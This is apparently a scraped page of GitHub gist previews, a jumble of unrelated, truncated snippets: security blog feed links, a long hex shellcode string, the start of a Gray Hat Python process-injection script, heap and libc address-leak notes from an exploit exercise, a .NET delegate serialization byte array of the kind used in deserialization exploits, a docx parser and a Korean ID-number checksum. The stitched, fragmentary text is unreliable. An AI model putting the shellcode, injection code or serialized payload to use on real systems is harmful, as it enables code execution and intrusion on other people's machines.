#아이다에서 프로세스 덤프 분석하기
##준비물
##방법
Title: h2spice | |
URL: http://h2spice.blogspot.kr/feeds/posts/default | |
Title: NULL's Laboratory | |
URL: http://null0.tistory.com/rss | |
Title: { cr3denza } | |
URL: http://cr3denza.github.io/feed.xml | |
Title: HACKABILITY |
{ | |
/shellcode <8BE5E9FD0D0000558BEC8B4D04B8DDCCBBAAEB0141390175FB5DE900000000558BEC83E4F881EC7C01000053568BD9B9C838A44057E8820A0000B9F1FD98A189442444E8740A0000B9EE95B65089442434E8660A0000B95D4461FE8944242CE8580A0000B9AE87923F8BF0E84C0A0000B9C5D8BDE789442430E83E0A0000B958A453E589442424E8300A0000B9F0B5A25689442428E8220A0000B94713726F8944244CE8140A0000B913EF7A758BF8E8080A0000B90ACDF9238944241CE8FA090000B91EA77C2589442420E8EC090000B9C6121E7089442438E8DE090000894424148D8424800000006804010000506A00FFD68BF0B90B2F0F3089742410E8B90900008944244885F6741E8D8C24800000008A5431FF80FA5C740A80FA2F740583EE0175ED897424108364245C008D8C248000000003CEC74424504558504C8D542450C74424544F524552C74424582E455845E80C03000085C00F843302000033C9E8400A00008944241885C00F841802000033C95151516A025150FF5424388944243C85C00F84FF01000033C95151516A0450FF5424308BF885FF0F84E9010000B8657865638BF73907740546390675FB6A00FF74241C83C605FF54241C6A048BCF2BCE03C16800300000506A0089442420FF5424388BC8894C242085C90F84A60100008364242800837C24100076208BD12BF18B4C2428 |
''' | |
Example taken from Gray Hat Python | |
The script inject a shellcode which tasks is to kill the given process, so that the process will not be killed by our process directly. | |
''' | |
import sys | |
from ctypes import * | |
# We set the EXECUTE access mask so that our shellcode will execute in the memory block we have allocated | |
PAGE_EXECUTE_READWRITE = 0x00000040 |
#아이다에서 프로세스 덤프 분석하기
##준비물
##방법
/* | |
first malloc(16) : 0x1a61450 | |
eh.. and malloc(-1) : (nil) | |
second malloc(16) : 0x7fe57c0008c0 | |
FYI, libc.so address is : 0x7fe5837dc000 | |
let's calculate! : 0x7fe580000000 | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> |
/* | |
first malloc(16) : 0x1a61450 | |
eh.. and malloc(-1) : (nil) | |
second malloc(16) : 0x7fe57c0008c0 | |
FYI, libc.so address is : 0x7fe5837dc000 | |
let's calculate! : 0x7fe580000000 | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> |
var serialized_obj = [ | |
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108, | |
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108, | |
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46, | |
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101, | |
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105, | |
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77, | |
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0, |
import os | |
import docx | |
from docx.document import Document | |
from docx.oxml.table import CT_Tbl | |
from docx.oxml.text.paragraph import CT_P | |
from docx.table import _Cell, Table | |
from docx.text.paragraph import Paragraph | |
os.chdir('C:\\OJT_Kevin\\161027_docx_parsing') |
"use strict"; | |
var input = '13자리의 주민번호 - 없이'; | |
var mul = [2,3,4,5,6,7,8,9,2,3,4,5]; | |
var sum = 0; | |
for(var i =0; i < mul.length; i++) { | |
var digit = parseInt(input[i]); | |
sum += digit * mul[i]; | |
} |